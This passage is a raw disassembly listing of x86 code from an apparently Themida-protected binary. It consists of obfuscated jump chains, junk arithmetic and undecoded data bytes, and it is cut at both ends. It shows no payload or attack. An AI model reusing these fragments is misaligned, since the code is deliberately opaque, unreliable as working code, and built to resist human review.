68240C8Bh, 13BDh, 0FFCEE4E9h, 59CB31FFh dd 54B0CB81h, 0F38154D6h, 29EB2CACh, 0FFE920E9h, 80DEF6FFh dd 0C68046F6h, 0F3885306h, 1C8BDC88h, 4C48124h, 5A000000h dd 281FEF80h, 1FC780E7h, 0CFFE5866h, 0FFC583E9h, 0E95FB6FFh dd 1B6Eh, 0E95EF701h, 4320h, 8324148Bh, 4BE904C4h, 58FFFFCBh dd 8B241487h, 14892424h, 4EC8124h, 89000000h, 0D4B7241Ch dd 0FEBBE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6BE: ; CODE XREF: Themida_:005476E2j push 7A9h mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_54D956 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0FF000000h, 685B2434h, 6658h, 89243489h, 4C681E6h dd 83000000h, 343304C6h, 24343124h, 5C243433h, 4C381h dd 59E90000h, 5AFFFFAFh, 0E95BF930h, 1166h ; --------------------------------------------------------------------------- loc_54D710: ; CODE XREF: Themida_:00548AFDj mov [esp], edx mov edx, 64AA1F19h jmp loc_550BEB ; --------------------------------------------------------------------------- db 80h, 0F6h, 0A6h dd 148BF300h, 4C48324h, 8013C380h, 0C300EBC3h, 50EBEB80h dd 405E089h, 83000000h, 0FF5002E8h, 58042474h, 5C24048Fh dd 24048966h, 39E913B0h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D753: ; CODE XREF: Themida_:0054C8CDj mov esp, [esp] jmp loc_54915E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0AFED8100h, 0E95C51B8h, 0FFFF932Fh ; --------------------------------------------------------------------------- loc_54D76C: ; CODE XREF: Themida_:0054F1E0j mov ebp, 5B5B6E3Bh or ebp, 589A0808h push esi mov esi, 7B0D37FAh sub esi, 26404BB3h sub esi, 0B0A85A42h add ebp, esi pop esi and ecx, ebp pop ebp jmp loc_550B86 ; --------------------------------------------------------------------------- dd 32DFE981h, 0A9E948A7h, 89000003h, 4EC83E5h, 0E9240C89h dd 0FFFFC9F7h, 8DE9F801h, 81000018h, 0F7AD2F2h, 0C0EA816Ah dd 159D16Bh, 0BA525AD1h, 4, 875AD101h, 875C240Ch, 92E9240Ch db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7D7: ; CODE XREF: Themida_:005480B2j mov ah, 82h and bl, ah pop eax jmp loc_549AE2 ; --------------------------------------------------------------------------- loc_54D7E1: ; CODE XREF: Themida_:00546B0Fj pop ecx push edi mov edi, 390B6C08h jmp loc_550C78 ; --------------------------------------------------------------------------- db 56h, 0FFh, 74h dd 8F5E0424h, 0FF5C2404h, 2E92434h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7FF: ; CODE XREF: Themida_:00550059j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, 4 jmp loc_54EDFB ; --------------------------------------------------------------------------- dw 814Dh dd 0CCFCF0C5h, 5DEF21F7h, 68FABE56h, 0F681570Fh, 7BE03CCFh dd 24AC681h, 51E9358Fh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D83F: ; CODE XREF: Themida_:0054FC47j add eax, 4 jmp loc_5506C5 ; --------------------------------------------------------------------------- loc_54D849: ; CODE XREF: Themida_:0054B26Aj ; Themida_:0054D4B8j sub esp, 4 jmp loc_55182E ; --------------------------------------------------------------------------- loc_54D851: ; CODE XREF: Themida_:00551C55j mov esi, 5D415281h dec esi sub esi, 7C946FBCh xor esi, 22492211h xor esi, 68CC077Eh jmp loc_547A80 ; --------------------------------------------------------------------------- dw 5B2Dh dd 21E9CD71h, 44E958C6h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D87B: ; CODE XREF: Themida_:00547206j xor ecx, [esp] jmp loc_54C5D5 ; --------------------------------------------------------------------------- db 28h dd 0D82859CBh, 0EB80595Bh, 0CE25E959h, 248BFFFFh, 0D056E924h dd 0EF81FFFFh, 1D38EBDEh, 0F75FF821h, 8937E9D8h, 8B5BFFFFh dd 0C4812434h, 4, 1C8BD901h, 4C48324h, 12EAE9h, 242C3300h dd 0E9242C31h, 0FFFF918Dh, 51243C8Bh, 38E95954h, 5E00001Bh dd 68h, 242C2900h, 7EDC15Dh, 0FF9455E9h, 0F61FB1FFh, 80D1F6D1h dd 0D9F6D0E9h, 0F180D9F6h, 0E9CB8864h, 4B82h ; --------------------------------------------------------------------------- loc_54D900: ; CODE XREF: Themida_:0054E641j push esi mov esi, 4 sub edi, esi mov esi, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_54603E ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 2414D359h, 8710E99Ch, 8359FFFFh, 0C58304C4h dd 242C3302h, 33242C31h, 248B242Ch, 48B6624h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548A22 ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 0D1h dd 2CF3E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D956: ; CODE XREF: Themida_:0054D6CCj push edx jmp loc_5507D5 ; --------------------------------------------------------------------------- dd 49E9C101h, 81FFFFCDh, 332529C7h, 8BFB29E5h, 0C483243Ch dd 83C30104h, 48904ECh, 633E924h, 645C0000h, 0E9028966h dd 0FFFFB31Ah, 87768h, 24048900h, 721D4CB8h, 0C9BD5566h dd 0E91AEB69h, 2140h ; --------------------------------------------------------------------------- loc_54D9A0: ; CODE XREF: Themida_:0054B83Dj push esi push edx mov edx, 4B57133h mov esi, edx pop edx not esi jmp loc_54E0B0 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 48F0000h, 14895C24h, 81E28924h, 4C2h, 2B85000h dd 1000000h, 24048BC2h, 0FFC8A2E9h, 0DBBD55FFh, 6846754Fh dd 6C04h, 0BF243C89h, 4F8157B6h, 0F4186CBEh, 0FFFE3109h dd 505F2434h, 405E089h, 83000000h, 48704C0h, 11D5E924h dd 0C6810000h, 4, 40F5E957h, 0F3210000h, 36E7E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA1E: ; CODE XREF: Themida_:0054DC99j pop ecx xchg ebp, [esp] mov esp, [esp] jmp loc_54B235 ; --------------------------------------------------------------------------- loc_54DA2A: ; CODE XREF: Themida_:0054EEFAj add ebx, 4 jmp loc_550583 ; --------------------------------------------------------------------------- db 29h, 0D8h, 51h dd 3305A1B9h, 0E9D9F75Ch, 0FFFFD018h, 2E356859h, 0EE90000h dd 1FFFF9Fh, 5F04247Ch, 0FF85E5E9h, 5EF301FFh, 0EB81F301h dd 3EFA629Ah, 0E924348Bh, 43C0h, 5204C483h, 0E904EC83h dd 0FFFFDD08h, 6866C3FEh, 89667B41h, 8850240Ch, 362BE9DCh dd 0FB010000h, 3109C381h, 0C3814C58h, 54C67B52h, 0FF5833FFh dd 1C8B2434h, 4C48324h, 3F9E68h, 24048900h, 0FF87CAE9h dd 243433FFh, 6624248Bh, 6824048Bh, 45A4h, 38ECE9h, 4C48100h dd 81000000h, 4C6h, 0BB535000h, 248539A6h, 0DBF7DBF7h dd 209BEB81h, 0D889FEB3h, 81241C8Bh, 4C4h, 0D6DBE900h dd 0C280FFFFh, 0C99BE985h, 34FFFFFFh, 9CE95A24h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB03: ; CODE XREF: Themida_:00550D5Cj xchg ebx, [esp] mov esp, [esp] push 6699h jmp loc_54DF36 ; --------------------------------------------------------------------------- db 0C1h dd 0E94D02EDh, 0FFFFBC20h, 7622C781h, 83E95733h, 8BFFFFE8h dd 4D22424h, 0D4E99C24h, 81000001h, 4C4h, 0BECBE900h, 4968FFFFh dd 0E9000056h, 947h, 528EC181h, 1C8B2181h, 4C48124h, 0E9000000h dd 0FFFF93ACh, 6E4EEA81h, 0E2816413h, 428752B6h, 0C107E2C1h dd 0EA8103EAh, 112B1Ch, 4EE9D601h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB7B: ; CODE XREF: Themida_:00549989j add esp, 4 push edx mov edx, 50F32839h jmp loc_5511BA ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 3FE95E54h, 51FFFFEEh, 4EC81h, 0BDE90000h, 66FFFFCCh dd 0B0240489h, 66C32030h, 0C3F38058h, 34FFD830h, 0E6EAE924h dd 0C181FFFFh, 731A4FAEh, 2473F181h, 0C8016F52h, 0EC815159h dd 4, 68243C89h, 57C41DCCh, 0FF42E95Fh, 5FE9FFFFh, 66FFFF84h dd 8CA4E95Ah, 431FFFFh, 24043324h, 0FFB747E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DBF1: ; CODE XREF: Themida_:0054C54Dj dec ebx push ecx mov ecx, 5FEB2E53h sub ebx, ecx pop ecx add ebx, 1A2E21D6h add ebx, 598B16DAh add ebx, edi jmp loc_54D24B ; --------------------------------------------------------------------------- dw 0E1C1h dd 39C18108h, 0E9684A1Dh, 0FFFFF3FAh, 0C681E689h, 4, 8704EE83h dd 895C2434h, 5F54243Ch, 1805B850h, 0E9566A06h, 0FFFFDBA7h dd 558BC781h, 3681D00h, 8900004Bh, 52BE2434h, 0C170E07Ch dd 23E905E6h, 33000031h, 0F6E92434h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DC5F: ; CODE XREF: Themida_:0054C464j pop ebx jmp loc_552397 ; --------------------------------------------------------------------------- db 53h, 0BBh, 52h dd 0F7348769h, 62EB81D3h, 216F9985h, 3CE95BDFh, 8FFFFFC1h dd 248B2404h, 2F14E924h, 875D0000h, 0E95C2414h, 0FFFF8A19h ; --------------------------------------------------------------------------- loc_54DC90: ; CODE XREF: Themida_:00548367j pop eax push ecx mov ecx, 4 add ebp, ecx jmp loc_54DA1E ; --------------------------------------------------------------------------- dw 8B66h dd 14682404h, 0E9000027h, 0FFFF9B26h, 34B6EE81h, 0C8E91CE9h dd 81FFFF8Bh, 4C7h, 4EF8100h, 87000000h, 35E9243Ch, 0BEFFFFCBh dd 32BA7455h, 0F704E6C1h, 0CCAAE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DCDA: ; CODE XREF: Themida_:00546531j dec dword ptr [esp] pop edx sub edx, 0C264FDDEh jmp loc_549F77 ; --------------------------------------------------------------------------- loc_54DCE9: ; CODE XREF: Themida_:0054C33Aj pop edi xchg ebp, [esp] pop esp add eax, 4 push ecx mov ecx, 2 jmp loc_551152 ; --------------------------------------------------------------------------- dw 148Bh dd 0EE95324h, 0E9000016h, 0FFFF8332h, 56A9EB81h, 0ECE92056h dd 5FFFFFA6h, 81241C8Bh, 4C4h, 24148700h, 7968575Ch, 8900000Ah dd 4812424h, 424h, 0B9515F00h, 4, 0E959CF01h, 33B5h, 0FF1C5721h dd 34FF2434h, 0C4815A24h, 4, 0B6CDE955h, 5350FFFFh, 11F5E9h dd 1C77FF00h, 1058669Dh, 0E99C2404h, 0FFFF82CEh, 0E9240489h dd 0FFFF9B16h, 6601ED80h, 48B252h, 535A66D5h, 0FD3082B7h dd 80C5FE5Bh, 0EC04AFC5h, 0FFA240E9h, 0C48358FFh, 3B6F6804h dd 2C890000h, 2C8B5424h, 4C48324h, 4EC81h, 34890000h, 7CEFBE24h dd 9AE90ECEh, 83FFFFD5h, 148904ECh, 0EC815324h, 4, 0E9241489h dd 0FFFF852Eh, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF825Eh dd 24042166h, 8254E99Ch, 0C281FFFFh, 4, 4EA81h, 14870000h dd 14895C24h, 0E9E4B624h, 2A87h, 4B951h, 0C8010000h, 74FF5059h dd 48B0424h, 4C48124h, 8F000000h, 0FAE92404h, 29FFFF8Bh dd 63E958C3h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DE2B: ; CODE XREF: Themida_:0054CC23j xor ebx, 7FC732F7h and eax, ebx pop ebx or eax, eax jz loc_5521B6 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push ebp mov ebp, 4 add ebx, 76D80925h add ebx, ebp sub ebx, 76D80925h pop ebp push 4ACCh mov [esp], eax mov eax, 33A13E04h add eax, 0CC5EC200h add ebx, eax jmp loc_54DE9F ; --------------------------------------------------------------------------- db 0C0h dd 0CCFE07E4h, 8003E480h, 0C480BFC4h, 58E18877h, 0FFE258E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DE99: ; CODE XREF: Themida_:0054FABDj pop edx jmp loc_547A3A ; --------------------------------------------------------------------------- loc_54DE9F: ; CODE XREF: Themida_:0054DE7Ej pop eax xchg ebx, [esp] jmp loc_54D374 ; --------------------------------------------------------------------------- dd 3B59EB81h, 0E95E2FE9h, 0FFFFA25Bh ; --------------------------------------------------------------------------- loc_54DEB4: ; CODE XREF: Themida_:00546432j mov edx, 0B34CB5Ch xor eax, edx push dword ptr [esp] jmp loc_5491FD ; --------------------------------------------------------------------------- db 8Bh dd 0E9552404h, 3FBBh, 0D2F6CAFEh, 0C021F280h, 0C28008E2h dd 0D188512Bh, 5A59CB88h, 0D828E02Ch, 0FE7BB151h, 6E9C0C9h dd 0E9C0C1FEh, 46C98007h, 2F87E9h, 0C8B6600h, 89505624h dd 405E0h, 27E90000h, 0FFFFFFE8h, 34FF2434h, 0D52DE924h dd 8358FFFFh, 646804C4h, 89000018h, 2C81243Ch, 25017024h dd 2BB7E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DF2E: ; CODE XREF: Themida_:0054A7B2j xor edx, [esp] jmp loc_54E655 ; --------------------------------------------------------------------------- loc_54DF36: ; CODE XREF: Themida_:0054DB0Ej mov [esp], ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_546B75 ; --------------------------------------------------------------------------- dd 986A5ABFh, 56D7F770h, 260152BEh, 0C1D6F733h, 4E907EEh dd 0ADFFFFAEh, 0BC68D831h, 89000019h, 1BBA2414h, 0E94EEA57h dd 0FFFFD8C6h, 4B8868h, 0FC03E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DF86: ; CODE XREF: Themida_:00546152j sub esp, 4 mov [esp], edx jmp loc_550C50 ; --------------------------------------------------------------------------- loc_54DF91: ; CODE XREF: Themida_:0054E28Bj add ebx, 4 xchg ebx, [esp] pop esp push ecx mov ecx, 0C310880h shl ecx, 5 shr ecx, 3 jmp loc_54AEC1 ; --------------------------------------------------------------------------- loc_54DFA9: ; CODE XREF: Themida_:0054BAF3j mov edi, ebp pop ebp jmp loc_549764 ; --------------------------------------------------------------------------- db 0B8h, 81h, 1Eh dd 0D0F758ABh, 765568h, 242C8900h, 786BBA52h, 0D7BD7345h dd 31F8BE3Fh, 0E8015AD5h, 70C3815Dh, 133E531h, 70EB81C3h dd 5833E531h, 47D968h, 24048900h, 0FF8051E9h, 4C483FFh dd 5C243487h, 0C8AF0F66h, 0E99C5166h, 0FFFF803Eh, 70E0BB53h dd 0DA0128F0h, 81FA015Bh, 0F070E0EAh, 0CDEA8128h, 8803846Dh dd 8CCBE902h, 1AB0FFFFh, 0C8FED8F6h, 0E904E8C0h, 0FFFF92B8h dd 3827C181h, 0F12932B2h, 3827E981h, 0CE8732B2h, 58EE8159h dd 1C65D53h, 372D5EF0h, 0E931672Dh, 0FFFFF57Bh, 0BCD4E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E056: ; CODE XREF: Themida_:005467B4j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov ebx, edx push dword ptr [esp] pop edx jmp loc_548B76 ; --------------------------------------------------------------------------- dd 0EFC1F787h, 25C78103h, 10BEE8Bh, 375DE9F8h, 3C8B0000h dd 4C48124h, 81000000h, 4ECh, 242C8900h, 1039E9h, 4C48100h dd 0E9000000h, 0FFFF7F8Eh ; --------------------------------------------------------------------------- loc_54E0B0: ; CODE XREF: Themida_:0054D9ACj and esi, 7EAB427Fh push ebx jmp loc_5466DE ; --------------------------------------------------------------------------- dd 5B59C801h, 5C240487h, 9CC88566h, 0FFA842E9h, 81E189FFh dd 4C1h, 5BEA6800h, 2C890000h, 2E85BD24h, 0F5814621h, 46212E81h dd 1D52B850h, 0D0F77EADh, 0A4780D25h, 2DD8F73Eh, 4150D22h dd 1C90C42Dh, 58C10180h, 72C1BE56h, 0F10155E7h, 81E9015Eh dd 0E772C1E9h, 0DE98155h, 5D7BCE02h, 8B240C87h, 34FF2424h dd 2434FF24h, 6A536858h, 2C890000h, 0A7E95424h, 81FFFFDDh dd 0D92C55C1h, 8BCD895Eh, 0C483240Ch, 5ED8104h, 0E91C1D23h dd 0FFFFC9FCh, 81241C8Bh, 4C4h, 4CFE5200h, 0E95A0124h dd 0FFFFD35Bh, 418BC381h, 0D3017095h, 418BEB81h, 0C3817095h dd 4D2C5ABEh, 5B31EB81h, 525A0402h, 2BAh, 5AD30100h, 8B241C87h dd 0F9F62424h, 29E2E9h, 24043100h, 5C240433h, 0FFB7EDE9h dd 5DCD81FFh, 0F72A5D40h, 1D09E9DDh, 0E5C10000h, 0C5814D08h dd 62781202h, 8108E5C1h, 705232CDh, 36F5814Ah, 1CA7053h dd 3A68E9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1CE: ; CODE XREF: Themida_:00547A45j push eax add dword ptr [esp], 46070BC6h pop esi sub esi, 46070BC6h mov eax, [esp] add esp, 4 jmp loc_5469F3 ; --------------------------------------------------------------------------- loc_54E1EB: ; CODE XREF: Themida_:00546C30j sub ecx, 761C6399h add ebx, ecx mov ecx, [esp] add esp, 4 push 5060h jmp loc_54B245 ; --------------------------------------------------------------------------- dw 0DE29h dd 0FFEBCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E20D: ; CODE XREF: Themida_:00547C2Bj pop esp mov [esp], esi sub esp, 4 mov [esp], edx push 0D491ECEh pop edx mov esi, 0D491ECFh xor esi, edx pop edx and eax, esi jmp loc_54FFFF ; --------------------------------------------------------------------------- db 0FFh dd 7E94077h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E237: ; CODE XREF: Themida_:0054CEADj add ebx, eax sub ebx, 398A6B10h add ebx, 0BCE4D1Eh push ebx mov bl, 0B3h inc bl push edx sub esp, 4 mov [esp], ebx push ecx mov cl, 54h jmp loc_550498 ; --------------------------------------------------------------------------- dd 56240489h, 0FFDD5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E265: ; CODE XREF: Themida_:005517E6j pop esp pop dword ptr [esp] pop esp mov ax, [esp] push 671Dh mov [esp], edx push esp mov edx, [esp] push ebx push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_54DF91 ; --------------------------------------------------------------------------- dd 0FF7DA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E295: ; CODE XREF: Themida_:005485F1j mov [esp], ebp jmp loc_54EDCD ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4FE90000h, 81000020h, 4C4h, 0C4E95300h, 66FFFFB7h, 667347BAh dd 6607EAC1h, 4F41C281h, 8BD73166h, 0C4812414h, 4, 0BB665366h dd 6653555Fh, 6618A3BBh, 2279F381h, 5BDF0166h, 0A0C78166h dd 8729E968h, 0B151FFFFh, 8BCA88CFh, 0C481240Ch, 4, 0FFDABFE9h dd 0C0C5FEFFh, 0CD8006E5h, 0BBF5800Eh, 0F3E9EB28h, 59000004h dd 808EC680h, 0F300B3C6h, 0C0B60F5Ah, 24148B66h, 8EE95450h dd 89FFFFAEh, 4C281E2h, 0E9000000h, 0FFFFC1B1h, 5CB9E281h dd 0C281243Fh, 7D171D04h, 0FFEEDDE9h, 4C681FFh, 81000000h dd 4C6h, 24348700h, 0E9C15F5Ch, 0A3E98105h, 0E9CE560Dh dd 0FFFFE20Dh ; --------------------------------------------------------------------------- loc_54E364: ; CODE XREF: Themida_:0054CECEj add ecx, 4 jmp loc_54D54F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0EC8CE900h, 5259FFFFh, 0FFAEBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E381: ; CODE XREF: Themida_:0054FFB5j add edx, ebx jmp loc_54F470 ; --------------------------------------------------------------------------- dd 0FB7625BFh, 0A429E93Dh, 8B66FFFFh, 9FE9240Ch, 0ACFFFFC1h dd 0F168D830h, 89000018h, 9FE92414h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E3AB: ; CODE XREF: Themida_:0054EFBFj pop ebx add esp, 4 push 5427h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55114A ; --------------------------------------------------------------------------- db 81h dd 781516EBh, 64F3817Eh, 89FA3419h, 372D5BD8h, 556AA044h dd 0D9DEFBBDh, 0E03EE966h, 5358FFFFh, 0BE56E389h, 28035BADh dd 2EEE81h, 0F6816874h, 0BF8F5B7Bh, 0FFD192E9h, 0A0C580FFh dd 0E904E5C0h, 0FFFFD69Dh ; --------------------------------------------------------------------------- loc_54E40C: ; CODE XREF: Themida_:00551E27j push esi mov esi, 348F39B4h shl esi, 6 inc esi sub esi, 1B92FF57h jmp loc_54E9E5 ; --------------------------------------------------------------------------- loc_54E421: ; CODE XREF: Themida_:0055122Bj push dword ptr [esp] pop ebx add esp, 4 add esp, 4 shl eax, cl sub esp, 4 mov [esp], ebx push 34CB5F73h pop ebx xor ebx, 0CB34A08Ch push esi mov esi, 16B648BDh sub eax, esi pop esi push edi mov edi, 32D8093Eh add eax, edi pop edi add eax, ebx push ecx mov ecx, 3652250Ch jmp loc_54F9F1 ; --------------------------------------------------------------------------- loc_54E461: ; CODE XREF: Themida_:0055042Bj mov eax, 4 mov edi, eax mov eax, [esp] add esp, 4 jmp loc_546CCC ; --------------------------------------------------------------------------- db 29h dd 0D8295BD8h, 74270005h, 666E2D28h, 295B3DECh, 561468D8h dd 0BFE90000h, 89FFFFD9h, 9ABF243Ch, 0E91F0141h, 0FFFFD8FEh ; --------------------------------------------------------------------------- loc_54E49C: ; CODE XREF: Themida_:005462F9j pop edi jmp loc_547A6B ; --------------------------------------------------------------------------- loc_54E4A2: ; CODE XREF: Themida_:005473BBj mov eax, [esp] add esp, 4 mov ebx, edi pop edi sub eax, 67F03988h sub eax, ebx add eax, 67F03988h push dword ptr [esp] jmp loc_54FDEF ; --------------------------------------------------------------------------- db 50h dd 7B78E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4C6: ; CODE XREF: Themida_:005512F8j mov [esp], dx push ax pushf jmp loc_54603E ; --------------------------------------------------------------------------- dw 0BD55h dd 0F992D2A5h, 15DEB31h, 0BD555BDFh, 4, 82E9EF01h, 52FFFFE3h dd 0F7E95A54h, 1FFFFF8h, 0BD555EF0h, 5141A50h, 0FF7F1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E501: ; CODE XREF: Themida_:00549031j sub edi, 767D16A2h add edi, 4B9C7178h push esi mov esi, 1 jmp loc_54CED9 ; --------------------------------------------------------------------------- dd 0FF7B21E9h, 535152FFh, 0CB8004B3h, 2E3C0BCh, 5072EB80h dd 0C188D888h, 54515B58h, 0FFB0B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E539: ; CODE XREF: Themida_:00549620j mov [esp], edi push ebp jmp loc_54BAEE ; --------------------------------------------------------------------------- dw 0F201h dd 2414335Eh, 33241431h, 248B2414h, 24048B24h, 52E68956h dd 754787BAh, 4AB9512Fh, 0C15A0B44h, 0F74906E9h, 0F6A0E9D9h dd 8959FFFFh, 0FE015AD7h, 0B0E9575Fh, 89FFFFABh, 3AE92434h dd 6600003Eh, 0E924048Bh, 0FFFF7DD2h, 0AAE9C328h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E593: ; CODE XREF: Themida_:00548A28j push ecx mov ecx, 4 jmp loc_54D3E7 ; --------------------------------------------------------------------------- dw 0C831h dd 103AE9h, 240C8700h, 24DFE9h, 5DE83100h, 1A868h, 2556E900h dd 4BA0000h, 1000000h, 5A042454h, 1EB6E958h, 8B660000h dd 4C682404h, 89000049h, 0E9542414h, 0FFFFC3BDh, 53526658h dd 0E3C03CB3h, 2EBC007h, 0FFDC28E9h, 2C8758FFh, 0C895C24h dd 55E18924h, 341E6852h, 815A1489h, 790603E2h, 0FEEA813Ch dd 0E9140903h, 0FFFFAE66h, 0E959CB88h, 0FFFFD629h, 0E92434FFh dd 0FFFFE160h ; --------------------------------------------------------------------------- loc_54E620: ; CODE XREF: Themida_:005469D5j mov ecx, edx jmp loc_551FC2 ; --------------------------------------------------------------------------- db 66h dd 5224048Bh, 7F2FE954h, 3C87FFFFh, 83E95C24h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E63B: ; CODE XREF: Themida_:0054B77Bj add edi, 4 jmp loc_54D900 ; --------------------------------------------------------------------------- dw 0C681h dd 343905B1h, 2434335Bh, 3B35E9h db 0 ; --------------------------------------------------------------------------- loc_54E655: ; CODE XREF: Themida_:0054DF31j xor [esp], edx xor edx, [esp] pop esp jmp loc_54A17C ; --------------------------------------------------------------------------- db 51h, 0B5h, 0E0h dd 0A8E9EE28h, 81FFFF7Ch, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 5D54242Ch, 629468h, 24048900h, 4B8h, 17C58100h, 10A4D59h dd 17ED81C5h, 8B0A4D59h, 0C4812404h, 4, 8102C583h, 4ECh dd 242C8900h, 42474FFh, 24048F5Dh, 0D224248Bh, 0E99C243Ch dd 0FFFF797Ah ; --------------------------------------------------------------------------- loc_54E6C4: ; CODE XREF: Themida_:005467FCj shr eax, 10h xor eax, ecx push 5EBDh mov [esp], eax jmp loc_54C796 ; --------------------------------------------------------------------------- dw 433h dd 24248B24h, 9C240420h, 0FF7959E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E6E5: ; CODE XREF: Themida_:0054CF72j add esi, 4 add esi, 4 xchg esi, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi pop dword ptr [edi+24h] mov esi, [esp] add esp, 4 push edi push 0FFFFFFFFh pop edi sub esi, edi pop edi push edx mov edx, 24h add edx, edi xor [edx], esi mov edx, [esp] add esp, 4 jmp loc_551DD2 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 3FE90000h, 8B000034h, 0C4812434h, 4, 282CE9h, 48B6600h dd 2C48324h, 0F4AEB80h, 8F66C0B6h, 0EBE98704h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E753: ; CODE XREF: Themida_:00546B23j mov [esp], ecx jmp loc_54BA23 ; --------------------------------------------------------------------------- db 53h dd 0A87C3EBBh, 32C9BF33h, 0DF31783Eh, 0CDF7815Bh, 31F3BFE6h dd 29E95FF8h, 8FFFFA2h, 0D7F65AD7h, 305FC780h, 241C8BFEh dd 3004C483h, 24148BF0h, 6804C483h, 681h, 0E9241C89h, 0FFFFFD81h dd 0AF52E953h, 8952FFFFh, 4C281E2h, 83000000h, 148704C2h dd 0C3815C24h, 8C609EB6h, 2BE2C781h, 0DF011632h, 2BE2EF81h dd 815B1632h, 4C7h, 243C8700h, 0D9C7815Ch, 564BB536h, 5271EBEh dd 0E7F68105h, 813E6753h, 0DE5766F6h, 3EEC16Ch, 837CEE81h dd 0B850EFB0h, 8A41EB1h, 0F25ADC05h, 7CCCE919h, 0F59FFFFh dd 48FC0B6h, 7830E987h, 5F54FFFFh, 0BC6BB53h, 41E96880h dd 57FFFF83h, 304468h, 24248900h, 4BD5552h, 89000000h dd 5FEE9EAh, 48B0000h, 0AB15E924h, 0E95FFFFFh, 0FFFF8949h dd 514EC280h, 0CD80D7B5h, 0DEA0E9FAh, 0C481FFFFh, 4, 0C8BCE09h dd 4C48124h, 81000000h, 0E90345C6h, 3AC68100h, 0E9576261h dd 0FFFFA78Ch, 0B728E959h, 0C280FFFFh, 80CA0076h, 0E95976EAh dd 0FFFFFFBCh, 5C240487h, 0B2241489h, 0F7B75375h, 0E901C780h dd 1604h ; --------------------------------------------------------------------------- loc_54E898: ; CODE XREF: Themida_:00547738j push ebx jmp loc_5500BA ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0FFB028E9h, 1C77FFFFh, 419589Dh, 87E99C24h, 1FFFF77h dd 87B951F5h, 0E921E369h, 3203h, 3682BD55h db 0C6h, 3Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_550048 ; --------------------------------------------------------------------------- loc_54E8D2: ; CODE XREF: Themida_:00547B3Cj add edi, esi pop esi jmp loc_547B96 ; --------------------------------------------------------------------------- loc_54E8DA: ; CODE XREF: Themida_:00551312j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esp push dword ptr [esp] jmp loc_548713 ; --------------------------------------------------------------------------- dd 0B9515657h, 394A73BBh, 2A22C181h, 0D1F7232Fh, 23A1C181h dd 9E96DBFh db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E90B: ; CODE XREF: Themida_:00549979j push eax push esp pop eax push 1F52h mov [esp], esi mov esi, 4 add eax, 64D552BCh add eax, esi push ecx push ebp push 1C52139Bh pop ebp xor ebp, 17857EDAh neg ebp inc ebp sub ebp, 8F534004h mov ecx, ebp pop ebp jmp loc_5516E7 ; --------------------------------------------------------------------------- db 89h, 0E5h, 52h dd 0E87DB4BAh, 0C2814245h, 2C986157h, 608DCA81h, 9DE91E8Eh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E95B: ; CODE XREF: Themida_:0054F9D4j mov ecx, 5CB2ECFh shr ecx, 2 xor ecx, 8BA418h sub ebp, 